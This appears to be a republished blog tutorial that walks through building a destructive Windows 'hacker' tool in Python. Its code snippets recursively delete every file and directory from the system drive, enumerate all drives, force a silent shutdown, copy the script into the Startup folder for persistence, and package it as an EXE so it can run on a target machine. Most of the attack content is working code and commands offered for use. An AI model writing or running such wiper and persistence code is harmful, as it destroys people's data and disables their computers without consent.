Create a Python Hacker Tool: Auto‑Delete Files, Traverse Drives, and Shutdown PCs
This article shows how to use Python on Windows to obtain the system drive, enumerate and delete files and directories with os.walk, copy the script to the startup folder, generate a BAT wrapper, and silently shut down the computer, illustrating a basic malicious automation technique.
Introduction
We demonstrate how to use Python to create a simple Windows “hacker” tool that automatically obtains the system drive, enumerates files, deletes them, and shuts down the computer.
Getting the system drive
import os
print(os.getenv('SystemDrive'))The code prints the drive letter (e.g., C:).
Listing and deleting files
After obtaining the drive, we change to its root and use os.system('tree>>1.txt') to save a tree view. Then we walk the directory tree with os.walk and remove files and directories.
aa = os.getenv('SystemDrive')
os.chdir(aa + '\\')
os.system('tree>>1.txt')
for root, dirs, files in os.walk(path, topdown=False):
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))Enumerating all drives
import os, string
def get_drives():
drives = []
for p in string.ascii_uppercase:
d = p + ':'
if os.path.isdir(d):
drives.append(d)
return drives
print(get_drives())Shutting down the system
We invoke the Windows shutdown command silently:
shutdown /f /sg
# or via Python
os.popen('shutdown /f /sg')Copying the script to the startup folder
import shutil
shutil.copyfile('gc.py', r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\gc1.py')Creating a BAT wrapper
A simple BAT file can launch the Python script, allowing the payload to run automatically after login.
Packaging as an executable
Using pyinstaller we can bundle the script into an EXE so the target machine does not need a Python interpreter.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Python Crawling & Data Mining
Life's short, I code in Python. This channel shares Python web crawling, data mining, analysis, processing, visualization, automated testing, DevOps, big data, AI, cloud computing, machine learning tools, resources, news, technical articles, tutorial videos and learning materials. Join us!
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
